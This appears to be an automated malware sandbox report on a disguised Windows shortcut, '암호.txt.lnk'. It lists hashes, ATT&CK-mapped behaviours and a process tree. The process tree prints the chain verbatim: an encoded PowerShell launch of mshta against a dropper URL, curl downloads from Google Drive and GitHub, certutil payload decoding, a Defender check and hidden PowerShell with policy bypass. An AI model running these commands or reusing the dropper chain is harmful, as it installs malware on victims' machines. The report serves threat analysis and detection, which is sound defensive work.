c04baa5b89c84edce0024b0071db80888a4d13b0439e8fcc728aab17d66bfaec

General

Target
암호.txt.lnk
Size 2KB
Sample260730-e328zsszgt
SHA256 c04baa5b89c84edce0024b0071db80888a4d13b0439e8fcc728aab17d66bfaec
MD5 88bd1ecd48231df7e15eb49c18087f2b
SHA1 b774554a6207dcaa31d03a85943552ad21e1b723
SHA512 9d9004bf0de7a569d9ffaca2d532b4b9fc9b21e2eec68b6fa41285c20a60670951ffbe3dbdcf140b521d9e5cee772ec07a077ff420911137d9be173c5ec62562
TLSH
T1605131161BE51369E373877667FAB245A622F820EA038AEC01C112442D50604F876F7F
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion execution ransomware spyware trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://link24.kr/NmKsd7

Signatures

Badlisted process makes network request 29 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	952	mshta.exe
11	952	mshta.exe
13	952	mshta.exe
16	952	mshta.exe
25	952	mshta.exe
26	952	mshta.exe
32	952	mshta.exe
34	952	mshta.exe
36	952	mshta.exe
39	952	mshta.exe
41	952	mshta.exe
43	952	mshta.exe
45	952	mshta.exe
46	952	mshta.exe
49	952	mshta.exe
53	952	mshta.exe
55	952	mshta.exe
57	952	mshta.exe
62	952	mshta.exe
63	952	mshta.exe
67	952	mshta.exe
68	952	mshta.exe
77	952	mshta.exe
79	952	mshta.exe
80	952	mshta.exe
89	952	mshta.exe
91	952	mshta.exe
93	952	mshta.exe
95	952	mshta.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	cmd.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
96	drive.google.com
97	drive.google.com

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
4992	cmd.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3044	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3884	cmd.exe
1332	cmd.exe
2624	cmd.exe
3764	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings	cmd.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1CBCA5DB2D52A7F693B674DE5F05A1D0C957DF0\Blob = 5c0000000100000004000000800100000f00000001000000300000000b043572c899dec43efd590cfce610cf443a6315925ebfe589f7506907e44824608489581c7ca0e041458514cf157614090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000004ff460d54b9c86dabfbcfc5712e0400d2bed3fbc4d4fbdaa86e06adcd2a9ad7a0b00000001000000180000005300650063007400690067006f00200045004300430000001400000001000000140000003ae10986d4cf19c29676744976dce035c663639a1d0000000100000010000000280cf6042c30a2646644ba7286a3aa97030000000100000014000000d1cbca5db2d52a7f693b674de5f05a1d0c957df019000000010000001000000076935b5c5a037216daaf8aac76df42c12000000001000000930200003082028f30820215a00302010202105c8b99c55a94c5d27156decd8980cc26300a06082a8648ce3d040303308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374204543432043657274696669636174696f6e20417574686f726974793076301006072a8648ce3d020106052b81040022036200041aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221b3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979a3423040301d0603551d0e041604143ae10986d4cf19c29676744976dce035c663639a300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300a06082a8648ce3d040303036800306502303667a11608dce49700411d4ebee16301cf3baa421164a09d94390211795c7b1dfa64b9ee1642b3bf8ac209c4ece4b14d023100e92a61478c524a4b4e1870f6d644d66ef583ba6d58bd24d95648eaefc4a24681886a3a46d1a99b4dc961dad15d576a18	mshta.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
5028	NOTEPAD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4832	powershell.exe
4832	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4832	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 4832	2624	cmd.exe	89
PID 4832 wrote to memory of 952	4832	powershell.exe	90
PID 952 wrote to memory of 3884	952	mshta.exe	102
PID 952 wrote to memory of 3764	952	mshta.exe	104
PID 3884 wrote to memory of 1900	3884	cmd.exe	106
PID 3764 wrote to memory of 3044	3764	cmd.exe	107
PID 952 wrote to memory of 4992	952	mshta.exe	109
PID 4992 wrote to memory of 1508	4992	cmd.exe	111
PID 3884 wrote to memory of 5028	3884	cmd.exe	113
PID 952 wrote to memory of 1332	952	mshta.exe	114

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\암호.txt.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e JgAgACAAIAAgAG0AcwBgAGgAdABhACAAIAAgACAAIAAgACAAIAAgACIAaAB0AHQAcABzADoALwAvAGwAaQBuAGsAMgA0AC4AawByAC8ATgBtAEsAcwBkADcAIgA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://link24.kr/NmKsd7
    3⤵
    - Badlisted process makes network request
    - Checks computer location settings
    - Modifies system certificate store
    - Suspicious use of WriteProcessMemory
    PID:952
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local\Temp && curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ" && password.txt
      4⤵
      Checks computer location settings
      Executes a command shell one-liner
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:3884
    - - C:\Windows\system32\curl.exe
        
        curl -L -o password.txt "https://drive.google.com/uc?export=download&id=1u0g1doVUDc5VCeP653aze60SGlhs3efQ"
        5⤵
        
        PID:1900
    - - C:\Windows\system32\NOTEPAD.EXE
        
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\password.txt
        5⤵
        Opens file in notepad (likely ransom note)
        
        PID:5028
  - - C:\Windows\system32\cmd.exe
      cmd /c sc query WinDefend
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:3764
    - - C:\Windows\system32\sc.exe
        
        sc query WinDefend
        5⤵
        Launches sc.exe
        
        PID:3044
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && curl -L -o pipe.log "https://github.com/molsgj/laughing-waffle/releases/download/v1.0.0/pipe.log" && certutil -decode -f pipe.log pipe.zip && del pipe.log && powershell Expand-Archive -Path pipe.zip && del pipe.zip
      4⤵
      Deobfuscate/Decode Files or Information
      Suspicious use of WriteProcessMemory
      PID:4992
    - - C:\Windows\system32\curl.exe
        
        curl -L -o pipe.log "https://github.com/molsgj/laughing-waffle/releases/download/v1.0.0/pipe.log"
        5⤵
        
        PID:1508
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d C:\Users\Admin\AppData\Local && cd pipe && powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File 1.ps1 -FileName 1.log
      4⤵
      Executes a command shell one-liner
      PID:1332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

Modify Registry

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_haogfhmb.0cn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_haogfhmb.0cn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

password.txt

Path C:\Users\Admin\AppData\Local\Temp\password.txt
Size 21B
SHA256 912fc71662d52486838562581c3f44219a8e7b053590b13d4edfbfc67e953d68
MD5 46e075c946a9dcf1ccb2c82f2c75564e
SHA1 d9d959747610e87181aa7e0a393cc628ba2779b9
SHA512 384443a3518939c24a0793e59c4acecf84c700c63895b6f3401c5981dd94e59ff1ee2abd6094ed0ae8544164a7ffdd02bcac51ccf9cbccb4a0d31cc5d1081786
MD5 SHA1 SHA512

Analysis

Sharing